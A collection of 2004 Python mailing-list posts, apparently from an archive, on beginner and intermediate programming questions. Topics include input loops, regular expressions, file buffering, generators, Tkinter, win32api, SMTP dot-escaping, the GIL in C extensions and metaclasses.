> Is this wrong?  Are there reasons to choose/avoid Python?

Very few reasons to avoid, many reasons to choose.  The choice
shouldn't be arbitrary, but neither should it be based solely
on the question you ask in this message (roughly, "is Python
more secure than C or Java?").

-Peter


From Lazareth at gmail.com  Thu Sep 30 15:15:24 2004
From: Lazareth at gmail.com (Lazareth S. Link)
Date: 30 Sep 2004 12:15:24 -0700
Subject: New to python, baffled by program output
Message-ID: <d866d394.0409301115.76cdbb5@posting.google.com>

Hiya to whoever might stumble across this.

I've recently taken up learning how to script/program in python.
I've made my first program, a simple fahrenheit-celsius converter,
both ways.
For some reason I fail to comprehend, the program writes a line of
"None" when rerun in a while loop.
Here is the code:

---START---
def choice_c():
	print
	celsius = input("Input celsius: ")
	print "Fahrenheit: ",cel_fah(celsius)
	print

def choice_f():
	print
	fahrenheit = input("Input fahrenheit: ")
	print "Celsius: ",fah_cel(fahrenheit)
	print

def cel_fah(placeholder):
	return 9.0/5.0*placeholder+32

def fah_cel(placeholder):
	return (placeholder-32.0)*5.0/9.0

def options():
	print "press 'c' to convert celsius to fahrenheit."
	print "press 'f' to convert fahrenheit to celsius."
	print "press 'q' to exit program."

choice = "n"
options()
while choice != "q":
	choice = raw_input("Choice: ")
	if choice == "c":
		choice_c()
	elif choice == "f":
		choice_f()
	print options()
---END---

Any of you know why it prints that line? Is is just my comp?
If any applies, how to get around it?
Would greatly appreciate the help.


From guettli at thomas-guettler.de  Fri Sep 17 09:52:17 2004
From: guettli at thomas-guettler.de (Thomas Guettler)
Date: Fri, 17 Sep 2004 15:52:17 +0200
Subject: Python Webstart ?
References: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au>
Message-ID: <pan.2004.09.17.13.52.16.705912@thomas-guettler.de>

Am Fri, 17 Sep 2004 21:43:04 +1000 schrieb huy:

> Hi,
> 
> Just wondering if there were any plans (or existing projects) similar to 
> Java webstart for Python. I think this would be a boon for python. I 
> would love to start my new project using Python but the deployment (and 
> long term upgrading) factor is a major itch which pyfreeze and py2exe 
> just doesn't scratch properly.

Hi,

what does webstart do?

 Thomas



From yk.suse at bullier.org  Wed Sep  8 15:11:05 2004
From: yk.suse at bullier.org (Yann.K)
Date: Wed, 08 Sep 2004 21:11:05 +0200
Subject: TKinter + display of a shell command return
References: <chn0pr$tr7$1@biggoron.nerim.net>
	<chn98b$9gr$1@news-reader1.wanadoo.fr>
Message-ID: <chnlg9$199t$1@biggoron.nerim.net>

Eric Brunel wrote:

> What is your problem here? Inserting at the end of the text and call the
> see method on the text widget to make sure the last line is displayed
> should be enough. An update_idletasks may also be needed to actually
> display something, but it depends on the architecture of your script,
> typically on whether you use threads or not.
Yes, really it run great but no as i would!
For long process, the display wait the end of the script execution to
display all the lines of the mesage.

I would that the lines appears as soon as the shell putt the message.
So; if the treatment is very long (ie 10 min), the line of the message
appears every second (in fact h*just when they are forwarder from the
shell.

I would display the shell return like an "tail -f syslog" command on
linux...
I hope to be clearer...

Thanks for your help,

-- 
Yann.K


From fuzzyman at gmail.com  Thu Sep  2 04:02:22 2004
From: fuzzyman at gmail.com (Michael Foord)
Date: 2 Sep 2004 01:02:22 -0700
Subject: YOU ALL SUCK!
References: <1bf5bcb9.15695836@aol.com>
	<Pine.LNX.4.44.0409012156390.29696-100000@ccc4.wpi.edu>
Message-ID: <6f402501.0409020002.614bf5f2@posting.google.com>

Christopher T King <squirrel at WPI.EDU> wrote in message news:<Pine.LNX.4.44.0409012156390.29696-100000 at ccc4.wpi.edu>...
> On Tue, 1 Sep 2004, Amanita, Love Ewe wrote:
> 
> > Sharon expects the printer within hers and actually looks.  Why will you 
> > grasp the ugly worthwhile onions before Satam does?  Many proud 
> > cats over the abysmal planet were loving against the tired bathroom.  
> 
> This is a common newbie trap.  The reason is that default arguments are 
> only evaluated once; any changes you make to the list will be reflected in 
> the default argument.
>
That's very funny... I'm really impressed.


Regards,


Fuzzy
 [snip..]


http://www.voidspace.org.uk/atlantibots/pythonutils.html


From davebrok at soda.csua.berkeley.edu  Fri Sep 24 09:31:19 2004
From: davebrok at soda.csua.berkeley.edu (David Pokorny)
Date: Fri, 24 Sep 2004 06:31:19 -0700
Subject: Unexpected Python Behavior
References: <4e4a11f8.0409232355.6ba0468d@posting.google.com>
	<mailman.3834.1096015522.5135.python-list@python.org>
Message-ID: <RImdnbz2hMm7v8ncRVn-qg@lmi.net>


"Fredrik Lundh" <fredrik at pythonware.com> wrote in message >
> it's a well-known "you'll only do this once" mistake.  which is a good
thing,

"Because of this feature, it is good programming practice to not use mutable
objects as default values." -- 
http://www.python.org/doc/faq/general.html#why-are-default-values-shared-between-objects

Has it been discussed whether it would be a good idea to issue a warning in
this case? It strikes me that a warning wouldn't bother veteran programmers,
since it is really easy to avoid using a mutable default value (nearly
trivial to modify code that does use mutable default values). I'd imagine it
makes code more readable too.

David Pokorny




From mwh at python.net  Sat Sep  4 08:38:22 2004
From: mwh at python.net (Michael Hudson)
Date: Sat, 4 Sep 2004 12:38:22 GMT
Subject: How to actually write a program?
References: <chano0$1gv$1@sparta.btinternet.com>
Message-ID: <m3d612dxaa.fsf@pc150.maths.bris.ac.uk>

"Nick Evans" <nick at huff.org.uk> writes:

> Hello there,
> I have been on and off learning to code (with python being the second
> language I have worked on after a bit of BASIC). What I really want to know
> is, if you are going to actually write a program or a project of some sort,
> how do you actually start.
> 
> Picture this, you know what you want the program to do (its features), you
> have a possably rough idea of how the program will work. You have opened an
> empty text file and saved it as 'mykewlprogram.py' and now your sitting in
> front of an empty text file... Now then.... where do I start.
> 
> Any ideas about this problem :-)

In addition to what others have said, I use the interactive
interpreter A LOT (probably too much; I should write more tests).

Cheers,
mwh

-- 
  ... the U.S. Department of Transportation today disclosed that its
  agents have recently cleared airport security checkpoints with an 
  M1 tank, a beluga whale, and a fully active South American volcano.
             -- http://www.satirewire.com/news/march02/screeners.shtml


From pfortin at pfortin.com  Sun Sep 12 13:37:12 2004
From: pfortin at pfortin.com (Pierre Fortin)
Date: Sun, 12 Sep 2004 13:37:12 -0400
Subject: Mail extraction problem (something's wrong with split methods)
References: <pan.2004.09.11.16.21.15.772439@public.srce.hr>
	<chvb1c$tj6$00$1@news.t-online.com>
	<pan.2004.09.11.18.06.40.754033@public.srce.hr>
	<chvf4r$hbj$06$1@news.t-online.com>
	<pan.2004.09.12.09.53.31.172850@public.srce.hr>
	<ci1m6v$k4h$02$1@news.t-online.com>
	<pan.2004.09.12.15.32.14.721863@public.srce.hr>
Message-ID: <20040912133712.22efa911@gypsy.pfortin.com>

On Sun, 12 Sep 2004 17:32:15 +0200 Luka wrote:

This msg has already been processed by something that appears to generate
list/tuple segments...  I would suspect that whatever modified the message
has a string size limitation...  However, it looks like whatever
manhandled this msg just did what looks like a python print of a tuple...
If you really want to process this type of message instead of getting at
the real problem, then here's a clue...

 Here, I reduced the contents to just the items...

('+OK',
 ['Received',    # brackets, braces, parens are just text herein
  'by',
  'for',
  'Date',
  'Message-Id',
  'From',
  'To',
  'Subject',
  'X-Scanned-By: MIMEDefang 2.42',
  'X-Virus-Scanned',
  'Content-Length: 4210',
  'Status:   ',
  '',
  '',
  '---Code block---',
  '[6964, 7086, ..., 6730',   # "[" is just text here
  ', 6793, ..., 5534]',       # "]" ditto
  '---Code block---'
 ],
 4815
)

Further reducing the items shows the structure:

('s',
  ['s', 's', 's', 's', 's', 's', 's', 's', 's', 's', 's', 's', # headers
   '',     # header/body separator
   '',
   's',    # ---Code block---
   's',    # 1st part
   's',    # 2nd part
   's'     # ---Code block---
  ],
  4815     # reported msg size
)

which boils down to:

  (s,[s, ..., s],i)  # aka: tuple(string,list(strings),int)

So...  looks like you just need to isolate the strings between the
"---Code block---" strings (could be more than 2 or just 1) and
concatenate them. splitting the result...

Straight-line brute forcing it:

msg = ....     # get the message as a tuple  
sep = "---Code block---"
start = msg[1].index(sep)
data = msg[1][start+1:]
end = data.index(sep)
data = data[:end]
print "".join(data)[1:-1].split(", ")

> This is the original mail, sorry because of the size. As you can see,
> there are two problematic spots: 6730', ', and ','6573, at the end of
> the mail.


Pierre


From adalke at mindspring.com  Fri Sep 10 13:19:04 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Fri, 10 Sep 2004 17:19:04 GMT
Subject: Using re to get data from text file
In-Reply-To: <pan.2004.09.10.14.29.26.175980@yahoo.com>
References: <pan.2004.09.10.14.29.26.175980@yahoo.com>
Message-ID: <cml0d.2800$xA1.2182@newsread3.news.pas.earthlink.net>

Jocknerd wrote:
> How would I set this up to read in the data using Regular expressions?
> 
> I've tried this:
> 
> while True:
>     line = file.readline ()
>     if not line: break
>     game = {}
>     datePattern = re.compile('^(\d{2})\D+(\d{2})\D+(\d{4})')

Regular expressions are tricky.  Luckily, there are plenty
of resources available to learn.  Here's a suggestion for how
to read your data.

The subtle parts are:
   - I'm using re.X so I can document each of the fields in the re
   - The team name must only contain letters
        [a-zA-Z]+  means "set of letters" (that is, a word)
        [a-zA-Z]+(\s[a-zA-Z]+)*  means "one or more words separated
                      by spaces

I also use the ^  and $ symbols to make sure the match is
complete across the whole line.

If you have teams with digits in the name (eg, "49ers") then
you'll have to change the definition of 'word' appropriately.
I made it a strict test to ensure sure there wasn't an accidental
confusion with a score.


import re

pat = re.compile("""
^\s*                       # allow spaces at the start
(\d\d)/(\d\d)/(\d\d\d\d)   # the month, day, and year

\s+                        # spaces to the first team name
([a-zA-Z]+(\s+[a-zA-Z]+)*) # one or more words separated by spaces
\s+                        # spaces to the first score
(\d+)                      # the score

\s+                        # spaces to the second team name
([a-zA-Z]+(\s+[a-zA-Z]+)*) # one or more words separated by spaces
\s+                        # spaces to the second score
(\d+)                      # the score

\s*$                       # allow spaces, up to the end
""", re.X)
tests = [
"09/04/2004  Virginia              44   Temple             14",
"09/04/2004  LSU                   22   Oregon State       21",
"09/09/2004  Troy State            24   Missouri           14",
"01/02/2003  Florida State        103   University of Miami 2",
]

for test in tests:
   m = pat.match(test)
   if not m:
     raise AssertionError("test failure")
   print "Match results:"
   print " month", m.group(1), "day", m.group(2), "year", m.group(3)
   print " team #1", m.group(4), "score", m.group(6)
   print " team #2", m.group(7), "score", m.group(9)


Here's the output

Match results:
  month 09 day 04 year 2004
  team #1 Virginia score 44
  team #2 Temple score 14
Match results:
  month 09 day 04 year 2004
  team #1 LSU score 22
  team #2 Oregon State score 21
Match results:
  month 09 day 09 year 2004
  team #1 Troy State score 24
  team #2 Missouri score 14
Match results:
  month 01 day 02 year 2003
  team #1 Florida State score 103
  team #2 University of Miami score 2


				Andrew
				dalke at dalkescientific.com


From dperl at rogers.com  Thu Sep  2 10:04:33 2004
From: dperl at rogers.com (Dan Perl)
Date: Thu, 02 Sep 2004 14:04:33 GMT
Subject: initializing mutable class attributes
References: <J4zYc.102357$UTP.98636@twister01.bloor.is.net.cable.rogers.com>
	<1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com>
	<eTHYc.205$yqJ1.68@news04.bloor.is.net.cable.rogers.com>
	<1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com>
	<8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com>
	<sweNBls/KXoF089yn@the-wire.com>
	<cXnZc.158891$UTP.27028@twister01.bloor.is.net.cable.rogers.com>
	<CZoZc.159227$UTP.62107@twister01.bloor.is.net.cable.rogers.com>
	<u3c21wnbq.fsf@fitlinxx.com>
	<mEtZc.160666$UTP.71082@twister01.bloor.is.net.cable.rogers.com>
	<ch5tki$csm$0$216.39.172.122@theriver.com>
	<1gjhleb.6l5nbvaf0x06N%aleaxit@yahoo.com>
Message-ID: <RLFZc.126860$pTn.110591@news01.bloor.is.net.cable.rogers.com>


"Alex Martelli" <aleaxit at yahoo.com> wrote in message
news:1gjhleb.6l5nbvaf0x06N%aleaxit at yahoo.com...
> Bengt Richter <bokr at oz.net> wrote:
>    ...
> I could use it in the Cookbook, side by side with Dan's "overloading
> __new__" idea and my custom metaclass, as various approaches to solving
> a 'problem' (if that be one) of "automatically initializing mutable
> instance attributes".  It would help if you and/or Dan posted these
> recipes to ActiveState's online cookbook ASAP (deadline is Sat Sep 5...)
> -- I'm allowed to add recipes that didn't show up on the online
> cookbook, but that _is_ discouraged... (and posting the recipes myself
> isn't much better, either).

I already submitted mine.  It's recipe #303059, so go to:
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/303059

You are right in an earlier posting that another call to __init__ in the
__new__ was redundant.  It was even a problem when using it in the multiple
inheritance case.  I figured out eventually that it's not needed and I got
rid of it.

Dan




From adalke at mindspring.com  Fri Sep 10 03:11:27 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Fri, 10 Sep 2004 07:11:27 GMT
Subject: A bug with file.tell()?
In-Reply-To: <f8097096.0409092043.3760d72a@posting.google.com>
References: <f8097096.0409092043.3760d72a@posting.google.com>
Message-ID: <zsc0d.2572$xA1.2297@newsread3.news.pas.earthlink.net>

Nick Jacobson wrote:
> Is this a bug?

   [example of mixing iterator-style line reads from a
    file and tell]

No, it's a documented behaviour.

http://docs.python.org/lib/bltin-file-objects.html

] In order to make a for loop the most efficient way
] of looping over the lines of a file (a very common
] operation), the next() method uses a hidden read-ahead
] buffer. As a consequence of using a read-ahead
] buffer, combining next() with other file methods (like
] readline()) does not work right. However, using seek()
] to reposition the file to an absolute position will
] flush the read-ahead buffer.

> This code involves the file methods "seek" and "tell".  Even though
> the file pointer is in the middle of the file, "tell" returns a
> position at the end of the file!

That means the underlying file handle is at
the end and everything remaining is in memory.



				Andrew
				dalke at dalkescientific.com


From tungwaiyip at yahoo.com  Mon Sep  6 15:00:37 2004
From: tungwaiyip at yahoo.com (Wai Yip Tung)
Date: Mon, 06 Sep 2004 12:00:37 -0700
Subject: turning callback into generator
Message-ID: <opsdw5rbaz433nmu@news.cisco.com>

I'm attempting to turn some process than uses callback to return result  
into a more user friendly generator. I'm hitting some road block so any  
pointer would be appriciated.

Let say there is an existing method producer(x, cb). It calls the supplied  
cb() every time when there is data available. The definititon of cb should  
be:

   def cb(data)


To turn it into generator, I tried:

   def product_generator(x):
     producer(x,cb)

   def cb(data):
     yield data


But that's not really the way Python works. 'yield' is not only a  
imperative statement but it also the keyword to signify the containing  
function as a generator function. So in this case product_generator is an  
oridinary function and cb is a generator.

Note that producer() is an existing method that I cannot change. Otherwise  
I might strip the cb and yield directly from the producer().

If python would define another keyword 'generator' to explicit distinguish  
normal function from generator and decouple it from the 'yield' keyword,  
it could perhaps be done that way:

   generator product_generator(x):
     producer(x,cb)

   def cb(data):
     yield data


Is this just an syntactic issue or am I hitting on some generator's  
implementation issue? Is there a proper way to do this in Python 2.3?

Thanks for any pointer.


From msw at iee.lu  Thu Sep 16 06:36:27 2004
From: msw at iee.lu (Manfred Schwab)
Date: Thu, 16 Sep 2004 12:36:27 +0200
Subject: Recording messages and print statements in a textfile during
 program execution.
Message-ID: <41496CAB.4DDC14F7@iee.lu>

Recording messages and print statements in a textfile during program
execution.


Is there a similar command to redirect errormessages or print statements
into a standart asciifile during programm execution.
I would like to echo the complete console output into a textfile and
send this file as email at a certain point in time.
The programm execution shall not be stopped.

As an example take a look at the description below. Set alternate on is
a command from the programming language clipper / dbase / flagship


Manfred




SET ALTERNATE
 Echo console output to a text file
------------------------------------------------------------------------------

 Syntax

     SET ALTERNATE TO [<xcFile> [ADDITIVE]]
     SET ALTERNATE on | OFF | <xlToggle>

 Arguments

     TO <xcFile> opens a standard ASCII text file for output with a
     default extension of (.txt).  The filename may optionally include
an
     extension, drive letter, and/or path.  You may specify <xcFile>
either
     as a literal filename or as a character expression enclosed in
     parentheses.  Note that if a file with the same name exists, it is
     overwritten.

     ADDITIVE causes the specified alternate file to appended to instead

     of overwritten.  If not specified, the specified alternate file is
     truncated before new information is written to it.

     ON causes console output to be written to the open text file.

     OFF discontinues writing console output to the text file without
     closing the file.

     <xlToggle> is a logical expression that must be enclosed in
     parentheses.  A value of true (.T.) is the same as ON, and a value
of
     false (.F.) is the same as OFF.

 Description

     SET ALTERNATE is a console command that lets you write the output
of
     console commands to a text file.  Commands such as LIST, REPORT
FORM,
     LABEL FORM, and ? that display to the screen without reference to
row
     and column position are console commands.  Most of these commands
have a
     TO FILE clause that performs the same function as SET ALTERNATE.
     Full-screen commands such as @...SAY cannot be echoed to a disk
file
     using SET ALTERNATE.  Instead you can use SET PRINTER TO <xcFile>
with
     SET DEVICE TO PRINTER to accomplish this.

     SET ALTERNATE has two basic forms.  The TO <xcFile> form creates a
DOS
     text file with a default extension of (.txt) and overwrites any
other
     file with the same name.  Alternate files are not related to work
areas
     with only one file open at a time.  To close an alternate file, use

     CLOSE ALTERNATE, CLOSE ALL, or SET ALTERNATE TO with no argument.

     The on|OFF form controls the writing of console output to the
current
     alternate file.  SET ALTERNATE ON begins the echoing of output to
the
     alternate file.  SET ALTERNATE OFF suppresses output to the
alternate
     file but does not close it.

 Examples

     .  This example creates an alternate file and writes the results
        of the ? command to the file for each record in the Customer
database
        file:


        # determine outputfile
        SET ALTERNATE TO Listfile

        # start recording
        SET ALTERNATE ON

        USE Customer NEW
        DO WHILE !EOF()
           ? Customer->Lastname, Customer->City
           SKIP
        ENDDO

        # stop recording
        SET ALTERNATE OFF

        # close recordfile
        CLOSE ALTERNATE


        CLOSE Customer

 Files:  Library is CLIPPER.LIB.

--
This e-mail may contain trade secrets or privileged, undisclosed or
otherwise confidential information. If you are not the intended
recipient and  have received this e-mail in error, you are hereby
notified that any review, copying or distribution of it is strictly
prohibited. Please inform us immediately and destroy the original
transmittal from your system. Thank you for your co-operation.


-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20040916/ff69b111/attachment.html>
-------------- next part --------------
A non-text attachment was scrubbed...
Name: msw.vcf
Type: text/x-vcard
Size: 348 bytes
Desc: Card for Manfred Schwab
URL: <http://mail.python.org/pipermail/python-list/attachments/20040916/ff69b111/attachment.vcf>

From tjreedy at udel.edu  Thu Sep 16 21:47:07 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Thu, 16 Sep 2004 21:47:07 -0400
Subject: "Updating" lambda functions
References: <2qtl0oF139gn6U1@uni-berlin.de>
Message-ID: <cidfn0$4vj$1@sea.gmane.org>


"Oliver Fromme" <olli at haluter.fromme.com> wrote in message 
news:2qtl0oF139gn6U1 at uni-berlin.de...
>        fu = lambda x: x
>        fu = lambda x: fu(x) + 17
etc

I am curious if there is any reason other that habit carried over from 
other languages to not write the above as

def fu(x): return x
def fu(x): return fu(x) + 17
etc

Granted, the latter takes 2 more keystrokes, but the resulting object gets 
a proper .name attribute.  And, of course, the def form is required for a 
multiline body anyway.

(Note: I am not asking about the use of lambda *within* an expression or as 
a return value, but only the immediate name-binding of the supposedly 
anonymous function where one does not want anonymity.)

Terry J. Reedy





From deetsNOSPAM at web.de  Tue Sep 14 16:36:53 2004
From: deetsNOSPAM at web.de (Diez B. Roggisch)
Date: Tue, 14 Sep 2004 22:36:53 +0200
Subject: Strange "feature" involving double slashes in Win98
References: <mailman.3327.1095192228.5135.python-list@python.org>
Message-ID: <ci7kou$eqj$00$1@news.t-online.com>

> 
> Well, that's the problem. What's I'm supposed to do?

Maybe you can go for applying os.path.join and os.path.normpath to all
user-specified paths? I don't have windows, so I can't say how
os.path.normpath('c://foo') behaves, but maybe its does do the job.

-- 
Regards,

Diez B. Roggisch


From garyr at fidalgo.net  Sat Sep 18 11:26:59 2004
From: garyr at fidalgo.net (Gary Richardson)
Date: Sat, 18 Sep 2004 08:26:59 -0700
Subject: win32api.SetCursorPos() question
Message-ID: <10kol21ah3ulpcc@corp.supernews.com>

I'm trying to use win32api.SetCursorPos() to position the cursor in a
Tkinter canvas window. I.e.:

from Tkinter import *
import win32api
root = Tk()
canvas = Canvas(root,  width=400, height=300, bg='white')
canvas.pack()
win32api.SetCursorPos(100,100)
root.mainloop()

But this code produces:

Traceback (most recent call last):
  File
"C:\Python22\Lib\site-packages\Pythonwin\pywin\framework\scriptutils.py",
line 301, in RunScript
    exec codeObject in __main__.__dict__
  File "C:\My Documents\Python\Ascii\Script4.py", line 6, in ?
    win32api.SetCursorPos(100,100)
TypeError: SetCursorPos() takes exactly 1 argument (2 given)

Am I using this function incorrectly? A search on Google didn't turn up much
but I did find one bit of code in which it was used in this manner.

I suspect there may be other problems with this approach so any further
comments will be appreciated also. I'm using ActivePython 2.2.2 build 224 on
Win98SE.

Thanks,
Gary Richardson








From csae1211 at uibk.ac.at  Mon Sep 13 06:44:43 2004
From: csae1211 at uibk.ac.at (Poissonnier Julien)
Date: Mon, 13 Sep 2004 12:44:43 +0200
Subject: glade
In-Reply-To: <414579e1$1@sia.uibk.ac.at>
References: <ci3jd7$5e8$1@news.vol.cz> <414579e1$1@sia.uibk.ac.at>
Message-ID: <41457a1b$1@sia.uibk.ac.at>

Poissonnier Julien wrote:
> p.kosina wrote:
> 
>> Does there exist any python plug-in (or something like that) for Glade 
>> 2.0.1. win32 port? I cant find any or links are unavailable.
>> Thanks
>> Pavel
> 
> PyGTK for Windows includes libglade support
> http://www.pcpm.ucl.ac.be/~gustin/win32_ports/
> There is a nice all-in-one installer for windows (includes GTK+, Glade, 
> Docs, etc) which works well with the Windows PyGTK port
I forgot the link to the all-in-one installer: 
http://gladewin32.sourceforge.net/


From sizelji at insightbb.com  Tue Sep 28 09:03:45 2004
From: sizelji at insightbb.com (Jim Sizelove)
Date: Tue, 28 Sep 2004 13:03:45 GMT
Subject: New to Python
In-Reply-To: <4158c606_4@newsfeed.slurp.net>
References: <338366A6D2E2CA4C9DAEAE652E12A1DE4A9007@au3010avexu1.global.avaya.com>
	<mailman.3722.1095866933.5135.python-list@python.org>
	<4158c606_4@newsfeed.slurp.net>
Message-ID: <Rid6d.63942$wV.21099@attbi_s54>

Steven Rumbalski wrote:

>>Delaney, Timothy C (Timothy) wrote:
> 
> 
>>>http://www.catb.org/~esr/faqs/smart-questions.html
>>>
[snip]
> 
> I for one will say that ESR's article helped me about 5 or 6 years ago when
> I was just getting involved in newsgroups.  I internalized much of his
> advice and have therefore actually rarely posted questions.
> 
> --Steven Rumbalski

As someone who is just starting to seriously follow this newsgroup, I 
found the Smart Questions FAQ very good advice, which I will consider 
before posting.  Thanks for pointing it out, Tim.

Jim Sizelove


From devrim at machsim.com  Sun Sep 19 05:07:23 2004
From: devrim at machsim.com (Devrim Erdem)
Date: 19 Sep 2004 02:07:23 -0700
Subject: Interactive Console for Win32 Application
Message-ID: <b2f253f2.0409190107.5cf26dd9@posting.google.com>

Hello,

I am on win32 with python2.2.

My python added C++ app is an OpenGL application so there is no real
GUI code around it. I have built in the python interpreter which works
very great. I would like to have the opportunity to popup a console
from my application which has access to the python module which is
defined and instantiated in my application.

If I had the time, I would implement a Quake like console. To save
time, I wanted to check if there is already a way of doing this on
Windows.

P.S. The app is not full screen so I can popup another window that's
not a problem at all.

Thanks in advance,

Devrim


From elbertlev at hotmail.com  Fri Sep 10 10:56:44 2004
From: elbertlev at hotmail.com (Elbert Lev)
Date: 10 Sep 2004 07:56:44 -0700
Subject: Shorter checksum than MD5
References: <nJU%c.241102$VH2.12288041@phobos.telenet-ops.be>
	<7xfz5rn1w2.fsf@ruckus.brouhaha.com>
	<hNX%c.241261$Ch3.12334176@phobos.telenet-ops.be>
	<7xllfjfe9m.fsf@ruckus.brouhaha.com>
Message-ID: <9418be08.0409100656.516fef2d@posting.google.com>

Paul Rubin <http://phr.cx at NOSPAM.invalid> wrote in message news:<7xllfjfe9m.fsf at ruckus.brouhaha.com>...
...snip

>Also, with CRC32,
> it's very easy to create a record on purpose that has any given
> checksum.  Is THAT a problem?  For example, it means that if someone
> can change the price of an article, he can choose a new price so that
> the record will have the same checksum as the old price and the change
> won't get noticed.  Could he buy something for $1.00, change the price
> to $11.73 or something, then return the item and get an $11.73 refund
> because you didn't notice the update?

Really? If this is "very easy" please modify the string to have the same CRC32:

"The probability of the changed dada having the same CRC32  is 1/2**32"

crc32 =  de6acdf9

To make the task even easier, I will not give you the "salt" value :)


From joewong at mango.cc  Thu Sep 23 04:09:51 2004
From: joewong at mango.cc (Joe Wong)
Date: Thu, 23 Sep 2004 16:09:51 +0800
Subject: Access to MS SQL from Linux?
Message-ID: <000a01c4a144$b3f9d800$7f00a8c0@scl01.siliconcreation.com>

Hi,

 Is there any Python library for accessing MS SQL server from a Linux machine? Either open source or commerical one will do for me.

Regards,

- Joe



---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.768 / Virus Database: 515 - Release Date: 2004/9/22
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20040923/61fa2fb3/attachment.html>

From dieter at handshake.de  Sun Sep  5 15:14:08 2004
From: dieter at handshake.de (Dieter Maurer)
Date: 05 Sep 2004 21:14:08 +0200
Subject: Problem with quopri in email
References: <cha498$bbk$1@online.de>
Message-ID: <x7acw44jgf.fsf@handshake.de>

Benjamin Niemann <b.niemann at betternet.de> writes on Fri, 03 Sep 2004 18:00:50 +0200:
> I just sent a newsletter (HTML with <img>s) using a Python script.
> Looking at the error_log of our web server, I'm seeing lots of 404
> error for files like
> 
> /images/news/f68f57c1c67dc319d84f7c11c8b71b65jpeg
> or
> /images/news/f23a00f8bd912b73b4f63149cc808dbf..jpeg
> (there should be exactly one dot...)
> 
> The corresponding parts of the quopri encoded HTML looks like this:
> ....<img=
> src=3D"http://www.fujinews.de/images/news/f68f57c1c67dc319d84f7c11c8b71b65=
> ..jpeg" alt=3D"E550_seitliche_front_flash low res.jpg" vspace=3D"4" hspace=
> =3D"4" border=3D"0" align=3D"left" />...

This is not a "quopri" problem but an SMTP problem.

The SMTP protocol requires that a dot at the beginning of a line
is escaped by doubling (because it uses a line consisting of a
single dot as end of message indicator). Of course, the SMTP reader
is expected to remove this dublicated dot again.
Somehow, your SMTL sender or reader got something wrong with
the handling of a dots at the beginning of a line.


Dieter


From aahz at pythoncraft.com  Thu Sep 30 13:28:08 2004
From: aahz at pythoncraft.com (Aahz)
Date: 30 Sep 2004 13:28:08 -0400
Subject: One thread freezes my whole application
References: <GGt6d.8022$5O5.6405@news-server.bigpond.net.au>
	<415aa436$0$240$edfadb0f@dread14.news.tele.dk>
	<ETV6d.9689$5O5.8558@news-server.bigpond.net.au>
Message-ID: <cjhfn8$ka7$1@panix3.panix.com>

In article <ETV6d.9689$5O5.8558 at news-server.bigpond.net.au>,
Michael Zhang  <jianqiz at bigpond.com> wrote:
>
>Your hint on GIL leads me quite lots of searching and reading on Google. 
>After several hours confusion (due to those different opinions), I 
>finally come to a quite simple and amazing solution:
>
>       Py_BEGIN_ALLOW_THREADS;	# add this line
>       some_blocking_function_call();
>       Py_BEGIN_ALLOW_THREADS;	# add this line as well

I'm assuming you meant this:

       Py_END_ALLOW_THREADS;	# add this line as well

>However, there is a new question (rather than a problem). Since my
>Cmodule is created using SWIG, if there is any change in the original
>C code, I have to run swig again to get new "Cmodule_wrap.c" file,
>and add above two lines into that new wrapper file, then build a new
>module.  It's quite uncomfortable during debugging. Is there any way I
>can use to achieve the same goal on Python side code, rather that on C
>extension side? Can I just modify the Python code to release that GIL?
>or Do I have any misunderstading about GIL, say, the concept about GIL
>only applies to C extension rather than Python threading itself?

It's a bit more complicated than that.  The concept of the GIL applies
to both Python and C extensions; however, only C extensions can release
the GIL.

In other words, only one thread of Python code can execute at any time
because of the GIL -- try to break that and your application *WILL* blow
up.  C code that does not use *ANY* Python API may release the GIL to
allow other threads to run.  Before starting to use the Python API, the
C code *MUST* re-acquire the GIL.

Traditionally, I/O code is the prime candidate for releasing the GIL.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"A foolish consistency is the hobgoblin of little minds, adored by little
statesmen and philosophers and divines."  --Ralph Waldo Emerson


From aleaxit at yahoo.com  Mon Sep 27 08:52:11 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Mon, 27 Sep 2004 14:52:11 +0200
Subject: Metaclass with name overloading.
References: <tyfekkoeyk2.fsf@pcepsft001.cern.ch>
Message-ID: <1gkrzxq.l8owau16ix211N%aleaxit@yahoo.com>

Jacek Generowicz <jacek.generowicz at cern.ch> wrote:
   ...
> I would like to write a metaclass which would allow me to overload
> names in the definition of its instances, like this
   ...
> I was wondering whether it would be possible to achieve this by
> forcing Python to use some dicitonary proxy (which accumulates values,
> rather that keeping just the last value to be associated with a key),
> instead of dict, when executing the class definiton?
> 
> Is something like this at all possible in pure Python? or does in
> require fiddling around in the guts of the parser?

It's not possible in pure Python -- Python will always use a real dict
rather than any other type as you'd wish.  The parser OTOH shouldn't
really be involved, either.  In the end it boils down to a series of
STORE_NAME pseudocode instructions, which currently do:

                case STORE_NAME:
                        w = GETITEM(names, oparg);
                        v = POP();
                        if ((x = f->f_locals) != NULL) {
                                if (PyDict_CheckExact(x))
                                        err = PyDict_SetItem(x, w, v);
                                else
                                        err = PyObject_SetItem(x, w, v);
                                Py_DECREF(v);

so they'd be able to work with f_locals being either a dict, or any
other mapping -- so that part should be OK.  But having frame f's
f_locals be anything but a dict, now THAT is the problem...


Alex



From M.Waack at gmx.de  Fri Sep 17 13:59:49 2004
From: M.Waack at gmx.de (Mathias Waack)
Date: Fri, 17 Sep 2004 19:59:49 +0200
Subject: getting the function name
References: <3064b51d.0409170927.584a10b3@posting.google.com>
Message-ID: <l9lr12-g78.ln1@valpo.de>

beliavsky at aol.com wrote:

> Is there a way in Python to print the name of the function one is
> currently in?

>>> def f():
...   tb = traceback.extract_stack()
...   print tb[-1][2]
>>> f()
f

I'm using a more comfortable way by setting a global debug flag and
enabling tracing (see sys.settrace). This gives you the same feature
without adding code to each function. 

Mathias


